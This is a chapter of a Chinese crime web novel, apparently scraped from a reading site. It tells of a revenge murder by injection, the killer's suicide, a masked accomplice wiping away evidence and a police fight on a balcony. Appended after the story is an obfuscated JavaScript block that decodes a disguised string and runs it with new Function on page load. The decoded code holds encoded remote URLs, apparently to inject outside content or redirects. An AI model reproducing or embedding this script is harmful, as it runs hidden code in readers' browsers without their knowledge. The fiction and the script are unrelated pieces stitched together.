第20章 对手(2 / 2)

还有橱窗里过分干净的照片。

以及那枚戒指,“S”可以是宋,可以是孙,当然也可以是“诗”!

林厌注意到的细节她未必没有留意到,那么究竟是什么遮蔽了她的视线呢?

是不愿意相信世上还有这样的感情存在,还是……

一想到这里,她只觉得有一股隐秘的恐惧窜上了全身。

宋余杭把下唇咬出了血色,舌尖尝到一丝铁锈味,她猛地一捋头发,把额前的碎发全部撩了上去,双目赤红。

“段城,再开快点!”

来不及了。

“您好,您的外卖到了”门口传来敲门声,孙向明刚洗好澡出来,一边擦着头发,凑到猫眼上看了一眼。

是楼下那家他常点的大排档,还穿着他家的工作服,举着袋子退后一步正准备给他打电话。

“来了来了”他把毛巾放在玄关上,把门打开一条缝,伸出胳膊去拿。

外送员却没给他,而是说:“先生,可不可以给个好评啊,简单写一下对我们的菜品口味评价什么的,老板要求的,请您帮个忙吧”

大夏天的,面前的人还穿着长袖工装,戴着印有店铺logo的鸭舌帽,为了干净卫生还戴了一个口罩,只露出一双眼睛,隐隐流露出恳求来,那压在帽子里的鬓角渗出些薄汗来。

孙向明不耐烦地接过他递过来的纸笔,在便利签上写着,边写边说:“上次点的那个炒花甲,味道不错,但是没洗干净吃了好几口泥沙,回去跟你们老板说……”

他话音未落,外送员点头哈腰:“是,是,您说的是”

他宽松的袖口隐约露出一丝寒芒,孙向明突然觉得有哪里不对,他抬眸看着他的眼睛,对方仍然微笑着望着他。

不知为何,他突然觉得有些面熟,又有一丝头皮发麻。

写到一半他不肯再写了,把便利签和笔一起塞回他手里,拿过他手里的外卖就准备关门,就在那个瞬间,李诗平动了。

她也不知道哪里来的力气一把攥住了他的手臂,用门砰砰地挤压撞着他的胳膊。

孙向明骨头都要被挤碎了,从喉咙里发出撕心裂肺地哀嚎。

黑衣人从四楼的天井一跃而上,窜进了消防通道里,厚重的铁门被推开,一个人立马软趴趴地倒了下来。

身上的衣服除了内裤都被扒干净了,指尖触上他的颈动脉,还有气。

脖子上有一个细小的针孔,应该是被药晕了。

来人不再耽搁,沿着消防通道向上跑,即将推开铁门到达五楼的时候,旁边的洗手间里走出一个身材高大的男人,耳朵上挂了一只微型麦。

便衣!记

来人心里微微一惊,旋即,眼里蓦地溢出一抹狠色。

两个人撕扯着摔进了屋内,撞倒了玄关,外卖洒了一地,孙向明想叫,女人顺手抄起掉在地上的毛巾想去捂他的嘴。

到底男女力气有悬殊,孙向明回过神来,掐住她的脖子把人踹开,又反扑了上来把人摁在地上死死卡着她的喉咙。

袖子里的针管掉落在了地上。

李诗平的脸色逐渐变得青白,她徒劳无功地挣扎着,去掰他的手指,脑袋逐渐偏向了一边,偏头看见那支针管的时候,眸中突然迸发出了一股强烈的恨意。

就是这股力量驱使着她,张开手指一点一点把针管摸进了手里,她在这个瞬间难免想起了第一次和丁雪见面时的场景。

她认识她比孙向明早得早的早。

那时候她是老师,她是她的学生。

那天她刚和丈夫吵完架到学校检查值日。

“李老师早”

“早”

“早”

……

学生们陆续进校,少女扎着马尾辫一蹦一跳地走长街上过,彼时春光烂漫,杨花飞舞,空气里漂浮着细碎的尘埃。

眼看着就快迟到了,她还一会去揪朵小花,又会去抓一朵浮在空中的柳絮。

她眉头一皱,又看见她停留在了校门口卖煎饼的小摊上:“还不快点,要迟到了知不知道?!”

丁雪回过头来,不情不愿地摸了摸肚子,还是把钱放进了卖煎饼大爷的铁盒里:“爷爷,您帮我留着,我明早来拿”

大爷呵呵一笑:“行,小姑娘快去吧,别迟到了”

她背着硕大的书包踩着铃声往校园里跑,跑过她身边的时候却又停了下来,把刚摘的那朵玫瑰花递到了她面前。

少女眼睛亮闪闪得,语气也脆生生地:“老师,你眼睛好红,不要不开心了,我保证明天不迟到啦!这朵花送给你,要多笑笑哟~”

那样天真明媚的少年人又有谁能不爱呢。

丁雪就以这样仓促的姿态闯进了她的人生里,一待就是数十年。

“你知道我最后悔的一件事是什么吗?”李诗平把针筒里的最后一点液体全数推进了他的血管里。

她说的平静,却又不可抑制发起抖来,针管空掉的时候,她跪下来捂着脸哭了。

“是我,是我劝她结婚的,是我,是我……害了她,但凡我当时要是勇敢一点,她就不会遇到孙向明这个人渣,我们也就不会是今天的结局”

站在门口阴影里的黑衣人嘴唇翕动着,却终是什么都没说。

孙向明静静躺在地板上,口吐白沫,了无生机。

他死了。

丁雪死了。

李诗平也跟着死了。

她在黑暗里咽了咽口水,把舌苔底下含着的药片彻底吞下去,接着从自己兜里掏出手机,锁屏密码是她的生日,她多想再看一眼她,可是视线却逐渐模糊了起来,她以为是泪,溅在手机上的却是血。

她伸手把手机上的血抹干净,露出女孩子温暖的笑靥。

那是丁雪大学毕业后回到江城市一中教学的第一年,在莲池公园,那个清风夏夜荷香阵阵的晚上,她跟暗恋了数年的人表白。

她还记得那个晚上清爽的风吹乱了她的发,她微红的脸和害羞的眼神,明明也是大人了,却紧张到手足无措。

李诗平在她俯身过来想亲她的时候没有拒绝,实际上手指早已紧张到攥紧了自己的衣角。

李诗平笑着笑着就咳了起来,血花四溅把屏幕打湿,她有些慌张地把手机在自己衣服上擦了又擦,最后用沾着血的唇角给了她最后一个吻,把手机放在胸前,缓缓阖上了眼睛。

记“李诗平!”黑衣人一个箭步冲了过去晃着她的肩膀,可是已经来不及了。

楼下传来警笛声,宋余杭跳下车,子弹上膛:“一组带人把一单元给我围起来,不许放走一只苍蝇,二组跟我破门抓人,若遇到暴力拒捕,直接开枪不用顾忌”

仿佛已经能听到刑警作战靴踩在楼道上的脚步声,他还是不疾不徐把李诗平放平躺在地上,从兜里掏出手套戴上,拿毛巾依次擦干净他扶过的地方,包括指纹、血迹和脚印,甚至是门把手。

快速而又精准地清理好一切的同时,甚至还从李诗平的肩上捻下了两根头发,最后小心翼翼地退到了门口,把空调开到十六度,轻轻阖上了门。

转身的那一刹那,宋余杭迈上楼梯,直接从后腰的皮套里拔出了枪:“站住!警察!别动,不然开枪了!”

隔了大概有数十米的距离,黑衣人拔腿就跑,子弹擦着他的腿脚飞了过去,在地下留下了两个弹痕。

宋余杭犹如一只矫健的豹子窜了出去,同时还不忘吩咐其他组的兄弟们:“发现目标,发现目标,守住消防通道别让他逃了!”

从消防通道里瞬间扑出来几个刑警,拳脚功夫直接朝着面门而去,黑衣人毫不恋战,弯腰躲过,眼看着就要奔到了阳台边上。

手刚扶上栏杆,后腰上一股剧痛袭来,直接被人踹了下来,他狼狈地就地一滚,躲过宋余杭迎面一脚,一个鲤鱼打挺站了起来,出手就是一记刁钻狠辣的上勾拳。

拳拳相撞,双方各退了一步,宋余杭甩着手又扑了上来,电光火石间走过数招,俱是不分上下。她有意去掀对方脸上的面罩,却被人绞了胳膊,两个人互相博弈卡得死死的。余光瞥见背后墙上裸露的水管,宋余杭脚下发力,借着冲撞的力气双手像钳子一样死死卡着他的肩膀把人推到了墙上。

“砰”地一声巨响,墙皮石灰簌簌而落。

耳膜嗡嗡作响,寻常人挨这一下可能当场就被撞晕了,但黑衣人格斗经验不比宋余杭差,拼着一口力气握住水管两端凸起的部分,借力凌空跃起双脚狠狠往前一蹬。

他腿功极好,这一下猝不及防又正中腹部要害,宋余杭手指脱力,当场被人踹飞了出去撞上了对面的墙,咳出一口带血的唾沫。

她身后的几个刑警见二人脱离开来纷纷拔枪,黑衣人也不恋战,手掌撑上阳台的栏杆,竟然从五楼的天井一跃而下。

宋余杭扑上去,半边身子探出了阳台,只来得及撕下了他的一片衣角。

只见那人犹如断线的风筝一样从半空坠落,出手快准狠,“咣当”一声黑色的棍子牢牢卡在了二楼的栏杆上,在空中稳住身形后,做了一个引体向上,翻上了栏杆,跌跌撞撞消失在走廊里。

宋余杭狠狠一拳砸在了栏杆上:“妈的,追!”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();